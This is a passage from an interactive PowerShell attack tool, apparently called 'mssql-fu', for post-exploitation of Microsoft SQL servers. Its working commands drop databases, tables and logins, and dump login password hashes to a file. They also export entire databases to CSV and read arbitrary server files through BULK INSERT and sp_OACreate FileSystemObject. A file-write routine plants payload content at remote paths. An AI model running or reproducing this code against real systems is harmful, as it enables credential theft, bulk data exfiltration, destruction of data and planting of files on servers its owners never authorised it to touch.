  607.                         if($result.msg -ne "") {
  608.                             $result.msg;
  609.                         } else {
  610.                             $result.result;
  611.                         }
  612.                     }
  613.                 }
  614.             } else {
  615.                 Write-Host "[x] Unable to Create New DB User Login";
  616.                 if($sqlResult.msg -ne "") {
  617.                     $sqlResult.msg;
  618.                 } else {
  619.                     $sqlResult.result;
  620.                 }
  621.             }      
  622.             Write-Host "";
  623.  
  624.         } elseif($userArg.ToLower() -match '^drop\.db') {
  625.             $dbName = Read-Host "ENTER Database Name to DROP";
  626.             Write-Host "";
  627.             $sqlResult = mssql_query "DROP DATABASE IF EXISTS $($dbName);";
  628.             if($sqlResult.result -eq $NULL) {
  629.                 Write-Host "[*] Dropped Database: $($dbName)`n";
  630.                 $sqlResult = mssql_query "SELECT name FROM master..sysdatabases;";
  631.                 if($sqlResult.result -ne $NULL) {
  632.                     Write-Host "[*] Updated Database Listing: ";
  633.                     $dbOut = "[*] Available Databases:`n";
  634.                     foreach($dbName in $sqlResult.result) {
  635.                         if($dbname.name -ne $NULL) {
  636.                             $dbOut += "   [+] $($dbname.name)`n";
  637.                             Write-Host "   [+] $($dbname.name)";
  638.                         }
  639.                     }
  640.                     New-Item -path $outDir -Name "mssqlfu-available_databases.txt" -Value $dbOut -ItemType file -force | Out-Null;
  641.                 } else {
  642.                     Write-Host "   [x] Unable to Get Database Listing After DROP?";
  643.                     if($sqlResult.msg -ne "") {
  644.                         $sqlResult.msg;
  645.                     } else {
  646.                         $sqlResult.result;
  647.                     }
  648.                 }
  649.             } else {
  650.                 Write-Host "[x] Problem DROPing database: $($dbName)";
  651.                 if($sqlResult.msg -ne "") {
  652.                     $sqlResult.msg;
  653.                 } else {
  654.                     $sqlResult.result;
  655.                 }           }
  656.             Write-Host "";
  657.            
  658.         } elseif($userArg.ToLower() -match '^drop\.tbl') {
  659.             $dbTblName = Read-Host "ENTER Table Name to DROP";
  660.             Write-Host "";
  661.             $sqlResult = mssql_query "IF OBJECT_ID(dbo.$($dbTblName), 'U') IS NOT NULL DROP TABLE dbo.$($dbTblName);";
  662.             if($sqlResult.result -eq $NULL) {
  663.                 Write-Host "[*] Table 'dbo.$($dbTblName)' has been DROPPED!`n";
  664.             } else {
  665.                 Write-Host "[x] Problem DROPing Table: dbo.$($dbTblName)";
  666.                 if($sqlResult.msg -ne "") {
  667.                     $sqlResult.msg;
  668.                 } else {
  669.                     $sqlResult.result;
  670.                 }
  671.             }
  672.             Write-Host "";
  673.            
  674.         } elseif($userArg.ToLower() -match '^drop\.view') {
  675.             $dbTblName = Read-Host "ENTER (Table) View Name to DROP";
  676.             Write-Host "";
  677.             $sqlResult = mssql_query "IF OBJECT_ID(dbo.$($dbTblName), 'V') IS NOT NULL DROP VIEW dbo.$($dbTblName);";
  678.             if($sqlResult.result -eq $NULL) {
  679.                 Write-Host "[*] Table View 'dbo.$($dbTblName)' has been DROPPED!`n";
  680.             } else {
  681.                 Write-Host "[x] Problem DROPing Table View: dbo.$($dbTblName)";
  682.                 if($sqlResult.msg -ne "") {
  683.                     $sqlResult.msg;
  684.                 } else {
  685.                     $sqlResult.result;
  686.                 }
  687.             }
  688.             Write-Host "";
  689.            
  690.         } elseif($userArg.ToLower() -match '^drop\.proc') {
  691.             $dbTblName = Read-Host "ENTER (Table) Stored Procedure Name to DROP";
  692.             Write-Host "";
  693.             $sqlResult = mssql_query "IF OBJECT_ID(dbo.$($dbTblName), 'V') IS NOT NULL DROP PROCEDURE dbo.$($dbTblName);";
  694.             if($sqlResult.result -eq $NULL) {
  695.                 Write-Host "[*] Stored Procedure 'dbo.$($dbTblName)' has been DROPPED!`n";
  696.             } else {
  697.                 Write-Host "[x] Problem DROPing Stored Procedure: dbo.$($dbTblName)";
  698.                 if($sqlResult.msg -ne "") {
  699.                     $sqlResult.msg;
  700.                 } else {
  701.                     $sqlResult.result;
  702.                 }
  703.             }
  704.             Write-Host "";
  705.            
  706.         } elseif($userArg.ToLower() -match '^drop\.user') {
  707.             $sqlResult = mssql_query "SELECT name FROM master..syslogins;";
  708.             if($sqlResult.result -ne $NULL) {
  709.                 Write-Host "[*] Current Database Users List:"
  710.                 foreach($row in $sqlResult.result) {
  711.                     if($row.name -ne $NULL) {
  712.                         Write-Host "   [+] $($row.name)";
  713.                     }
  714.                 }
  715.                 Write-Host ""
  716.             }
  717.             $dropUsrName = Read-Host "ENTER Username to DROP";
  718.             Write-Host "";
  719.             $sqlResult = mssql_query "DROP LOGIN [$($dropUsrName)];";
  720.             if($sqlResult.result -eq $NULL -And $sqlResult.msg -eq "") {
  721.                 Write-Host "[*] Successfully DROPPED: $($dropUsrName)";
  722.                 $sqlResult = mssql_query "SELECT name FROM master..syslogins;";
  723.                 if($sqlResult.result -ne $NULL) {
  724.                     Write-Host "[*] Updated DB Users List:"
  725.                     foreach($row in $sqlResult.result) {
  726.                         if($row.name -ne $NULL) {
  727.                             Write-Host "   [+] $($row.name)";
  728.                         }
  729.                     }
  730.                     Write-Host ""
  731.                 }
  732.             } else {
  733.                 Write-Host "[x] Problem DROPing Database User: $($dropUsrName)";
  734.                 if($sqlResult.msg -ne "") {
  735.                     $sqlResult.msg;
  736.                 } else {
  737.                     $sqlResult.result;
  738.                 }
  739.             }
  740.             Write-Host "";
  741.            
  742.         } elseif($userArg.ToLower() -match '^pass' -Or $userArg.ToLower() -match '^pwd') {
  743.             if($basicInfo.specificVersion -eq "SQL 2000") { # 2000 only
  744.                 $sql = "SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins;";
  745.             } else { # 2005+
  746.                 $sql = "SELECT name, master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins;";
  747.             }
  748.             $sqlResult = mssql_query $sql;
  749.             if($sqlResult.result -ne $NULL -And $sqlResult.msg -eq '') {
  750.                 $mssqlCredsOut = "[*] MS-SQL Users & Passwords:`n";
  751.                 foreach($row in $sqlResult.result) {
  752.                     if($row.name -ne $NULL) {
  753.                         $mssqlCredsOut += "   [+] USER: $($row.name)`n";
  754.                         $mssqlCredsOut += "      [-] PASS: $($row.Column1)`n";
  755.                     }
  756.                 }
  757.                 Write-Host $mssqlCredsOut;
  758.                 New-Item -path $outDir -Name "mssqlfu-mssql.users_and_passwords.txt" -Value $mssqlCredsOut -ItemType file -force | Out-Null;
  759.             } else {
  760.                 Write-Host "[ERROR] Problem Fetching MS-SQL Users & Passwords! privs?";
  761.                 if($sqlResult.msg -ne "") {
  762.                     $sqlResult.msg;
  763.                 } else {
  764.                     $sqlResult.result;
  765.                 }
  766.             }          
  767.             Write-Host "";
  768.            
  769.         } elseif($userArg.ToLower() -match '^dump.tbl' -Or $userArg.ToLower() -match '^dump.table'  -Or $userArg.ToLower() -match '^table.dump') {
  770.             $dumpOutDir = $outDir + "\dumps\";
  771.             if(!(Test-Path -PathType Container $dumpOutDir)) {
  772.                 New-Item -ItemType Directory -Force -Path $dumpOutDir | Out-Null;
  773.             }
  774.             $sqlResult = mssql_query "SELECT name FROM master..sysdatabases;";
  775.             if($sqlResult.result -ne $NULL) {
  776.                 Write-Host "[*] Available Databases: ";
  777.                 foreach($row in $sqlResult.result) {
  778.                     if($row.name -ne $NULL) {
  779.                         Write-Host "   [+] $($row.name)";
  780.                     }
  781.                 }
  782.                 Write-Host "";
  783.             }
  784.             $dbName = Read-Host "ENTER Database Name to Dump";
  785.             Write-Host "";
  786.             $defaultDBs = @('msdb', 'model', 'pub', 'northwind', 'tempdb');
  787.             if($defaultDBs -contains $dbName) {
  788.                 Write-Host "   [-] NOT Dumping DB: $($dbName)";
  789.                 Write-Host "     [x] It's a default MS-SQL database, there's no point....";
  790.             } else {
  791.                 $sqlResult = mssql_query "SELECT * FROM $($dbName).information_schema.tables WHERE TABLE_TYPE='BASE TABLE' AND TABLE_SCHEMA = 'dbo';";
  792.                 if($sqlResult.result -ne $NULL) {
  793.                     Write-Host "[*] Available Tables in DB: $($dbName)";
  794.                     foreach($row in $sqlResult.result) {
  795.                         Write-Host "   [+] $($row[2])";
  796.                     }
  797.                     Write-Host "";
  798.                 }
  799.                 $dbTblName = Read-Host "ENTER Table Name to Dump";
  800.                 Write-Host "";
  801.                 $c = @();
  802.                 $columns = {$c}.Invoke();
  803.                 $sql = "SELECT COLUMN_NAME From $($dbName).INFORMATION_SCHEMA.COLUMNS Where TABLE_CATALOG Like '$($dbName)' AND TABLE_NAME like '$($dbTblName)' AND TABLE_SCHEMA like 'dbo';";
  804.                 $sqlResult = mssql_query $sql;
  805.                 if($sqlResult.result -ne $NULL -And $sqlResult.msg -eq "") {
  806.                     foreach($row in $sqlResult.result) {
  807.                         if($columns -notcontains $row.COLUMN_NAME) {
  808.                             $columns.Add($row.COLUMN_NAME);
  809.                         }
  810.                     }
  811.                 } else {
  812.                     Write-Host "[?] NO Columns/Data to Dump from Table?";
  813.                     if($sqlResult.msg -eq "") {
  814.                         $sqlResult.result;
  815.                     } else {
  816.                         $sqlResult.msg;
  817.                     }
  818.                 }
  819.                 if($columns.Count -gt 1) {
  820.                     $sql = "SELECT "
  821.                     foreach($column in $columns) {
  822.                         $sql += "$($column),";
  823.                     }
  824.                     $sql = $sql -replace ",$", "";
  825.                     $sql += " FROM dbo.$($dbTblName);";
  826.                     $finalSqlResult = mssql_query $sql;
  827.                     if($finalSqlResult.result -ne $NULL -And $finalSqlResult.msg -eq "") {
  828.                         $out  = "";
  829.                         foreach($column in $columns) {
  830.                             $out += "$($column),";
  831.                         }
  832.                         $out = $out -replace ",$", "";
  833.                         $out += "`n";
  834.                         foreach($finalRow in $finalSqlResult.result) {
  835.                             $rowOut += "";
  836.                             foreach($column in $columns) {
  837.                                 $rowOut += "$($finalRow."$column"),";
  838.                             }
  839.                             $rowOut = $rowOut -replace ",$", "";
  840.                             $out += "$($rowOut)`n";
  841.                         }
  842.                         #$out | ConvertFrom-CSV;
  843.                         New-Item -path $dumpOutDir -Name "$($dbName).$($dbTblName).csv" -Value $out -ItemType file -force | Out-Null;
  844.                     } else {
  845.                         Write-Host "         [x] Problem Dumping Table";
  846.                         if($finalSqlResult.msg.Trim() -ne "") {
  847.                             $finalSqlResult.msg;
  848.                         } else {
  849.                             $finalSqlResult.result;                                    
  850.                         }
  851.                     }                                  
  852.                 }
  853.             }
  854.             Write-Host "";
  855.  
  856.         } elseif($userArg.ToLower() -match '^dump.db' -Or $userArg.ToLower() -match '^dump.database'  -Or $userArg.ToLower() -match '^db.dump') {
  857.             $dumpOutDir = $outDir + "\dumps\";
  858.             if(!(Test-Path -PathType Container $dumpOutDir)) {
  859.                 New-Item -ItemType Directory -Force -Path $dumpOutDir | Out-Null;
  860.             }
  861.             $sqlResult = mssql_query "SELECT name FROM master..sysdatabases;";
  862.             if($sqlResult.result -ne $NULL) {
  863.                 Write-Host "[*] Available Databases: ";
  864.                 foreach($row in $sqlResult.result) {
  865.                     if($row.name -ne $NULL) {
  866.                         Write-Host "   [+] $($row.name)";
  867.                     }
  868.                 }
  869.                 Write-Host "";
  870.             }
  871.             $dbName = Read-Host "ENTER Database Name to Dump";
  872.             Write-Host "";
  873.             $defaultDBs = @('msdb', 'model', 'pub', 'northwind', 'tempdb');
  874.             if($defaultDBs -contains $dbName) {
  875.                 Write-Host "   [-] NOT Dumping DB: $($dbName)";
  876.                 Write-Host "     [x] It's a default MS-SQL database, there's no point....";
  877.             } else {
  878.                 Write-Host "   [+] Dumping All Tables in DB: $($dbName)";
  879.                 # Fetch Tables from DB now...
  880.                 $sqlResult = mssql_query "SELECT * FROM $($dbName).information_schema.tables WHERE TABLE_TYPE='BASE TABLE' AND TABLE_SCHEMA = 'dbo';";
  881.                 if($sqlResult.result -ne $NULL) {
  882.                     foreach($row in $sqlResult.result) {
  883.                         # Get Columns for Table now...
  884.                         $dbTblName = $row[2];
  885.                         Write-Host "      [-] Dumping Table:$($dbTblName)";
  886.                         $c = @();
  887.                         $columns = {$c}.Invoke();
  888.                         $sql = "SELECT COLUMN_NAME From $($dbName).INFORMATION_SCHEMA.COLUMNS Where TABLE_CATALOG Like '$($dbName)' AND TABLE_NAME like '$($dbTblName)' AND TABLE_SCHEMA like 'dbo';";
  889.                         $sqlResult2 = mssql_query $sql;
  890.                         if($sqlResult2.result -ne $NULL -And $sqlResult2.msg -eq "") {
  891.                             foreach($row2 in $sqlResult2.result) {
  892.                                 if($columns -notcontains $row2.COLUMN_NAME) {
  893.                                     $columns.Add($row2.COLUMN_NAME);
  894.                                 }
  895.                             }
  896.                         }
  897.                         if($columns.Count -gt 1) {
  898.                             $sql = "SELECT "
  899.                             foreach($column in $columns) {
  900.                                 $sql += "$($column),";
  901.                             }
  902.                             $sql = $sql -replace ",$", "";
  903.                             $sql += " FROM dbo.$($dbTblName);";
  904.                             $finalSqlResult = mssql_query $sql;
  905.                             if($finalSqlResult.result -ne $NULL -And $finalSqlResult.msg -eq "") {
  906.                                 $out  = "";
  907.                                 foreach($column in $columns) {
  908.                                     $out += "$($column),";
  909.                                 }
  910.                                 $out = $out -replace ",$", "";
  911.                                 $out += "`n";
  912.                                 foreach($finalRow in $finalSqlResult.result) {
  913.                                     $rowOut += "";
  914.                                     foreach($column in $columns) {
  915.                                         $rowOut += "$($finalRow."$column"),";
  916.                                     }
  917.                                     $rowOut = $rowOut -replace ",$", "";
  918.                                     $out += "$($rowOut)`n";
  919.                                 }
  920.                                 #$out | ConvertFrom-CSV;
  921.                                 New-Item -path $dumpOutDir -Name "$($dbName).$($dbTblName).csv" -Value $out -ItemType file -force | Out-Null;
  922.                             } else {
  923.                                 Write-Host "         [x] Problem Dumping Table";
  924.                                 if($finalSqlResult.msg.Trim() -ne "") {
  925.                                     $finalSqlResult.msg;
  926.                                 } else {
  927.                                     $finalSqlResult.result;                                    
  928.                                 }
  929.                             }                                  
  930.                         }
  931.                     }
  932.                     Write-Host "";
  933.                 }
  934.             }
  935.             Write-Host "";
  936.            
  937.         } elseif($userArg.ToLower() -match '^dump.all') {
  938.             $dumpOutDir = $outDir + "\dumps\";
  939.             if(!(Test-Path -PathType Container $dumpOutDir)) {
  940.                 New-Item -ItemType Directory -Force -Path $dumpOutDir | Out-Null;
  941.             }
  942.             $sqlResult = mssql_query "SELECT name FROM master..sysdatabases;";
  943.             if($sqlResult.msg -eq "") {
  944.                 Write-Host "[*] Attempting to Dump ALL Databases, hang tight...";
  945.                 foreach($row in $sqlResult.result) {
  946.                     if($row.name -ne $NULL) {
  947.                         $dbName = $row.name;
  948.                         $defaultDBs = @('msdb', 'model', 'pub', 'northwind', 'tempdb');
  949.                         if($defaultDBs -contains $dbName) {
  950.                             Write-Host "   [-] Skipping Default DB: $($dbName)";
  951.                             continue;
  952.                         }
  953.                         Write-Host "   [+] Dumping DB: $($dbName)...";
  954.                         # Fetch Tables from DB now...
  955.                         $sqlResult2 = mssql_query "SELECT * FROM $($dbName).information_schema.tables WHERE TABLE_TYPE='BASE TABLE' AND TABLE_SCHEMA = 'dbo';";
  956.                         if($sqlResult2.result -ne $NULL) {
  957.                             foreach($row2 in $sqlResult2.result) {
  958.                                 # Get Columns for Table now...
  959.                                 $dbTblName = $row2[2];
  960.                                 Write-Host "      [-] Dumping Table:$($dbTblName)";
  961.                                 $c = @();
  962.                                 $columns = {$c}.Invoke();
  963.                                 $sql = "SELECT COLUMN_NAME From $($dbName).INFORMATION_SCHEMA.COLUMNS Where TABLE_CATALOG Like '$($dbName)' AND TABLE_NAME like '$($dbTblName)' AND TABLE_SCHEMA like 'dbo';";
  964.                                 $sqlResult3 = mssql_query $sql;
  965.                                 if($sqlResult3.result -ne $NULL -And $sqlResult3.msg -eq "") {
  966.                                     foreach($row3 in $sqlResult3.result) {
  967.                                         if($columns -notcontains $row3.COLUMN_NAME) {
  968.                                             $columns.Add($row3.COLUMN_NAME);
  969.                                         }
  970.                                     }
  971.                                 }
  972.                                 if($columns.Count -gt 1) {
  973.                                     $sql = "SELECT "
  974.                                     foreach($column in $columns) {
  975.                                         $sql += "$($column),";
  976.                                     }
  977.                                     $sql = $sql -replace ",$", "";
  978.                                     $sql += " FROM dbo.$($dbTblName);";
  979.                                     $finalSqlResult = mssql_query $sql;
  980.                                     if($finalSqlResult.result -ne $NULL -And $finalSqlResult.msg -eq "") {
  981.                                         $out  = "";
  982.                                         foreach($column in $columns) {
  983.                                             $out += "$($column),";
  984.                                         }
  985.                                         $out = $out -replace ",$", "";
  986.                                         $out += "`n";
  987.                                         foreach($finalRow in $finalSqlResult.result) {
  988.                                             $rowOut += "";
  989.                                             foreach($column in $columns) {
  990.                                                 $rowOut += "$($finalRow."$column"),";
  991.                                             }
  992.                                             $rowOut = $rowOut -replace ",$", "";
  993.                                             $out += "$($rowOut)`n";
  994.                                         }
  995.                                         #$out | ConvertFrom-CSV;
  996.                                         New-Item -path $dumpOutDir -Name "$($dbName).$($dbTblName).csv" -Value $out -ItemType file -force | Out-Null;
  997.                                     } else {
  998.                                         Write-Host "         [x] Problem Dumping Table";
  999.                                         if($finalSqlResult.msg.Trim() -ne "") {
  1000.                                             $finalSqlResult.msg;
  1001.                                         } else {
  1002.                                             $finalSqlResult.result;                                    
  1003.                                         }
  1004.                                     }                                  
  1005.                                 }
  1006.                             }
  1007.                             Write-Host "";
  1008.                         }
  1009.                     }
  1010.                 }
  1011.             } else {
  1012.                 Write-Host "   [x] Unable to Get Database Listing to Dump Everything";
  1013.                 $sqlResult.msg;
  1014.             }
  1015.             Write-Host "";
  1016.  
  1017.         } elseif($userArg.ToLower() -match '^read$' -Or $userArg.ToLower() -match '^read\.file' -Or $userArg.ToLower() -match '^bulk.read') {
  1018.             $fileOutDir = $outDir + "\files\";
  1019.             if(!(Test-Path -PathType Container $fileOutDir)) {
  1020.                 New-Item -ItemType Directory -Force -Path $fileOutDir | Out-Null;
  1021.             }
  1022.             Write-Host "[*] Dropping to File Reader Shell";
  1023.             Write-Host "   [+] Enter path to file to read";
  1024.             Write-Host "   [+] Type EXIT or QUIT to end file reader session...`n`n"
  1025.             While($True) {
  1026.                 $fileArg = Read-Host "(mssql-fu\file_reader)>";
  1027.                 if($fileArg.ToLower() -eq 'x' -Or $fileArg.ToLower() -eq 'exit' -Or $fileArg.ToLower() -eq 'quit') {
  1028.                     Write-Host "   [x] OK, closing file reader session...`n`n";
  1029.                     Break;
  1030.                    
  1031.                 } elseif($fileArg.ToLower() -eq '?' -Or $fileArg.ToLower() -eq 'h' -Or $fileArg.ToLower() -eq 'help') {
  1032.                     Write-Host "`n[*] File Reader:";
  1033.                     Write-Host "   [+] Simply type the full path to file to read & hit enter";
  1034.                     Write-Host "   [+] Type EXIT or QUIT to end file reader session...`n`n";
  1035.                    
  1036.                 } elseif($fileArg.ToLower() -eq 'cls' -Or $fileArg.ToLower() -eq 'clear') {
  1037.                     PrintBanner;
  1038.                    
  1039.                 } elseif($fileArg.ToLower() -match '^load (.+)$') {
  1040.                     $loadFileFile = $matches[1];
  1041.                     if(Test-Path -Path $loadFileFile) {
  1042.                         $filez = Get-Content -Path $loadFileFile;
  1043.                         foreach($f in $filez) {
  1044.                             $rand = randz 10;
  1045.                             $fileOut = "";
  1046.                             $sqlResult = mssql_query "CREATE TABLE $($rand) (line varchar(8000));";
  1047.                             if($sqlResult.msg -eq "") {
  1048.                                 $sqlResult = mssql_query "BULK INSERT $($rand) FROM '$($f)';";
  1049.                                 if($sqlResult.msg -eq "") {
  1050.                                     $sqlResult = mssql_query "SELECT * FROM $($rand);";
  1051.                                     if($sqlResult.msg -eq "") {
  1052.                                         if($sqlResult.rowCount -gt 1) {
  1053.                                             foreach($row in $sqlResult.result) {
  1054.                                                 $fileOut += "$($row[0])`n";
  1055.                                             }
  1056.                                         } else {
  1057.                                             try {
  1058.                                                 $fileOut = $sqlResult.result.Column1;
  1059.                                             } catch {
  1060.                                                 $fileOut = $sqlResult.result;
  1061.                                             }
  1062.                                         }
  1063.                                         $sqlResult = mssql_query "DROP TABLE $($rand);";                               
  1064.                                     }                  
  1065.                                 }
  1066.                             }
  1067.                             if($fileOut -ne "") {
  1068.                                 Write-Host "   [*] FILE: $($f)`n";
  1069.                                 Write-Host "[*] FILE CONTENT:";
  1070.                                 Write-Host $fileOut;
  1071.                                 $filename = $f -replace "\\\\", "\\";
  1072.                                 $filename = $filename -replace "[/\\\|]", "_";
  1073.                                 $filename = $filename -replace "\[\+\{\}=';\:<>,\*&\^%\$#@!~`\]", "";
  1074.                                 $filename = $filename -replace '"', "";
  1075.                                 $filename = $filename.Replace(':', "");
  1076.                                 New-Item -path $fileOutDir -Name "mssqlfu-read.file-$($filename).txt" -Value $fileOut -ItemType file -force | Out-Null;
  1077.                             } else {
  1078.                                 Write-Host "   [x] Failed: $($f)";
  1079.                             }                      
  1080.                         }                      
  1081.                     } else {
  1082.                         Write-Host "[x] Unable to load file: $loadFileFile";
  1083.                         Write-Host "   [x] Check path or permissions and try again...`n`n";
  1084.                     }
  1085.                                        
  1086.                 } else {
  1087.                     $rand = randz 10;
  1088.                     $fileOut = "";
  1089.                     $sqlResult = mssql_query "CREATE TABLE $($rand) (line varchar(8000));";
  1090.                     if($sqlResult.msg -eq "") {
  1091.                         $sqlResult = mssql_query "BULK INSERT $($rand) FROM '$($fileArg)';";
  1092.                         if($sqlResult.msg -eq "") {
  1093.                             $sqlResult = mssql_query "SELECT * FROM $($rand);";
  1094.                             if($sqlResult.msg -eq "") {
  1095.                                 if($sqlResult.rowCount -gt 1) {
  1096.                                     foreach($row in $sqlResult.result) {
  1097.                                         $fileOut += "$($row[0])`n";
  1098.                                     }
  1099.                                 } else {
  1100.                                     try {
  1101.                                         $fileOut = $sqlResult.result.Column1;
  1102.                                     } catch {
  1103.                                         $fileOut = $sqlResult.result;
  1104.                                     }
  1105.                                 }
  1106.                                 $sqlResult = mssql_query "DROP TABLE $($rand);";                               
  1107.                             } else {
  1108.                                 Write-Host "[x] Problem fetching file content from table";
  1109.                                 $sqlResult.msg;
  1110.                             }                  
  1111.                         } else {
  1112.                             Write-Host "[x] Problem using Bulk Insert to load data in table";
  1113.                             $sqlResult.msg;
  1114.                         }
  1115.                     } else {
  1116.                         Write-Host "[x] Problem Creating Table to Load File Content Into!";
  1117.                         $sqlResult.msg;
  1118.                     }
  1119.                     if($fileOut -ne "") {
  1120.                         Write-Host "[*] FILE: $($fileArg)";
  1121.                         Write-Host "[*] FILE CONTENT:";
  1122.                         Write-Host $fileOut;
  1123.                         $filename = $fileArg -replace "\\\\", "\\";
  1124.                         $filename = $filename -replace "[/\\\|]", "_";
  1125.                         $filename = $filename -replace "\[\+\{\}=';\:<>,\*&\^%\$#@!~`\]", "";
  1126.                         $filename = $filename -replace '"', "";
  1127.                         $filename = $filename.Replace(':', "");
  1128.                         New-Item -path $fileOutDir -Name "mssqlfu-read.file-$($filename).txt" -Value $fileOut -ItemType file -force | Out-Null;
  1129.                     } else {
  1130.                         Write-Host "      [x] No Results Returned";
  1131.                     }
  1132.                 }
  1133.                 Write-Host "";
  1134.             }
  1135.             Write-Host "";         
  1136.  
  1137.         } elseif($userArg.ToLower() -match '^inline.read$' -Or $userArg.ToLower() -match '^read\.inline') {
  1138.             $fileOutDir = $outDir + "\files\";
  1139.             if(!(Test-Path -PathType Container $fileOutDir)) {
  1140.                 New-Item -ItemType Directory -Force -Path $fileOutDir | Out-Null;
  1141.             }
  1142.             Write-Host "[*] Dropping to Inline @FileSystemObject File Reader Shell";
  1143.             Write-Host "   [+] Enter path to file to read";
  1144.             Write-Host "   [+] Type EXIT or QUIT to end file reader session...`n`n"
  1145.             While($True) {
  1146.                 $fileArg = Read-Host "(mssql-fu\inline@file_reader)>";
  1147.                 if($fileArg.ToLower() -eq 'x' -Or $fileArg.ToLower() -eq 'exit' -Or $fileArg.ToLower() -eq 'quit') {
  1148.                     Write-Host "   [x] OK, closing file reader session...`n`n";
  1149.                     Break;
  1150.                    
  1151.                 } elseif($fileArg.ToLower() -eq '?' -Or $fileArg.ToLower() -eq 'h' -Or $fileArg.ToLower() -eq 'help') {
  1152.                     Write-Host "`n[*] Inline @FileSystemObject File Reader:";
  1153.                     Write-Host "   [+] Simply type the full path to file to read & hit enter";
  1154.                     Write-Host "   [+] Type EXIT or QUIT to end file reader session...`n`n";
  1155.                    
  1156.                 } elseif($fileArg.ToLower() -eq 'cls' -Or $fileArg.ToLower() -eq 'clear') {
  1157.                     PrintBanner;
  1158.                    
  1159.                 } elseif($fileArg.ToLower() -match '^load (.+)$') {
  1160.                     $loadFileFile = $matches[1];
  1161.                     if(Test-Path -Path $loadFileFile) {
  1162.                         $filez = Get-Content -Path $loadFileFile;
  1163.                         foreach($f in $filez) {
  1164.                             $fileOut = "";
  1165.                             $sql  = "declare @o int, @f int, @ret int, @line varchar(8000);";
  1166.                             $sql += "exec sp_oacreate 'scripting.filesystemobject', @o out;";
  1167.                             $sql += "exec sp_oamethod @o, 'opentextfile', @f out, '$($f)', 1;";
  1168.                             $sql += "exec @ret = sp_oamethod @f, 'readall', @line out;";
  1169.                             $sql += "select @line;";
  1170.                             $sqlResult = mssql_query $sql;
  1171.                             if($sqlResult.msg -eq "") {
  1172.                                 if($sqlResult.rowCount -gt 1) {
  1173.                                     foreach($row in $sqlResult.result) {
  1174.                                         $fileOut += "$($row[0])`n";
  1175.                                     }
  1176.                                 } else {
  1177.                                     try {
  1178.                                         $fileOut = $sqlResult.result.Column1;
  1179.                                     } catch {
  1180.                                         $fileOut = $sqlResult.result;
  1181.                                     }
  1182.                                 }
  1183.                             } else {
  1184.                            
  1185.                             }
  1186.                             if($fileOut -ne "") {
  1187.                                 Write-Host "   [*] FILE: $($f)`n";
  1188.                                 Write-Host "[*] FILE CONTENT:";
  1189.                                 Write-Host $fileOut;
  1190.                                 $filename = $f -replace "\\\\", "\\";
  1191.                                 $filename = $filename -replace "[/\\\|]", "_";
  1192.                                 $filename = $filename -replace "\[\+\{\}=';\:<>,\*&\^%\$#@!~`\]", "";
  1193.                                 $filename = $filename -replace '"', "";
  1194.                                 $filename = $filename.Replace(':', "");
  1195.                                 New-Item -path $fileOutDir -Name "mssqlfu-inline.read.file-$($filename).txt" -Value $fileOut -ItemType file -force | Out-Null;
  1196.                             } else {
  1197.                                 Write-Host "   [x] Failed: $($f)";
  1198.                             }                      
  1199.                         }                      
  1200.                     } else {
  1201.                         Write-Host "[x] Unable to load file: $loadFileFile";
  1202.                         Write-Host "   [x] Check path or permissions and try again...`n`n";
  1203.                     }
  1204.                 } else {
  1205.                     $fileOut = "";
  1206.                     $sql  = "declare @o int, @f int, @ret int, @line varchar(8000);";
  1207.                     $sql += "exec sp_oacreate 'scripting.filesystemobject', @o out;";
  1208.                     $sql += "exec sp_oamethod @o, 'opentextfile', @f out, '$($fileArg)', 1;";
  1209.                     $sql += "exec @ret = sp_oamethod @f, 'readall', @line out;";
  1210.                     $sql += "select @line;";
  1211.                     $sqlResult = mssql_query $sql;
  1212.                     if($sqlResult.msg -eq "") {
  1213.                         if($sqlResult.rowCount -gt 1) {
  1214.                             foreach($row in $sqlResult.result) {
  1215.                                 $fileOut += "$($row[0])`n";
  1216.                             }
  1217.                         } else {
  1218.                             try {
  1219.                                 $fileOut = $sqlResult.result.Column1;
  1220.                             } catch {
  1221.                                 $fileOut = $sqlResult.result;
  1222.                             }
  1223.                         }
  1224.                     } else {
  1225.                         Write-Host "[x] Problem Reading File Content!";
  1226.                         $sqlResult.msg;
  1227.                     }
  1228.                     if($fileOut -ne "") {
  1229.                         Write-Host "[*] FILE: $($fileArg)";
  1230.                         Write-Host "[*] FILE CONTENT:";
  1231.                         Write-Host $fileOut;
  1232.                         $filename = $fileArg -replace "\\\\", "\\";
  1233.                         $filename = $filename -replace "[/\\\|]", "_";
  1234.                         $filename = $filename -replace "\[\+\{\}=';\:<>,\*&\^%\$#@!~`\]", "";
  1235.                         $filename = $filename -replace '"', "";
  1236.                         $filename = $filename.Replace(':', "");
  1237.                         New-Item -path $fileOutDir -Name "mssqlfu-inline.read.file-$($filename).txt" -Value $fileOut -ItemType file -force | Out-Null;
  1238.                     } else {
  1239.                         Write-Host "      [x] No Results Returned";
  1240.                     }
  1241.                 }
  1242.                 Write-Host "";
  1243.             }
  1244.             Write-Host "";
  1245.        
  1246.         } elseif($userArg.ToLower() -match '^write$' -Or $userArg.ToLower() -match '^write\.file' -Or $userArg.ToLower() -match '^write\.out') {
  1247.             While($True) {
  1248.                 Write-Host "[*] Write Payload Options: ";
  1249.                 Write-Host "   [1] Load content from a local file";
  1250.                 Write-Host "   [2] Type in content to terminal";
  1251.                 Write-Host "   [x] Exit File Writer Session`n";
  1252.                 $writeArg = Read-Host "ENTER Write Payload Option";
  1253.                 Write-Host "";
  1254.                 if($writeArg -eq "1") {
  1255.                     $writeArg = Read-Host "ENTER Path to Local File";
  1256.                     $writeContent = convertFileContentToHexStr $writeArg;
  1257.                     Write-Host "";
  1258.                     While($True) {
  1259.                         Write-Host "[*] Write Path Options: ";
  1260.                         Write-Host "   [1] Provide Single Path to Write To";
  1261.                         Write-Host "   [2] Load Directory Paths to Write to From File`n";
  1262.                         $writePathArg = Read-Host "ENTER Write Path Option";
  1263.                         Write-Host "";
  1264.                         if($writePathArg -eq "1") {
  1265.                             $writeRemoteFilename = Read-Host "ENTER Remote Path w/Filename to Write";
  1266.                             Write-Host "`n[*] OK, attempting write to: $writeRemoteFilename";
  1267.                             $sql  = "DECLARE @FS int, @OLEResult int, @FileID int, @FileName varchar(255), @Text1 varchar(255);";
  1268.                             $sql += "SET @FileName = '$($writeRemoteFilename)';";
  1269.                             $sql += "SET @Text1 = $($writeContent);";
  1270.                             $sql += "EXECUTE @OLEResult = sp_OACreate 'Scripting.FileSystemObject', @FS OUT;";
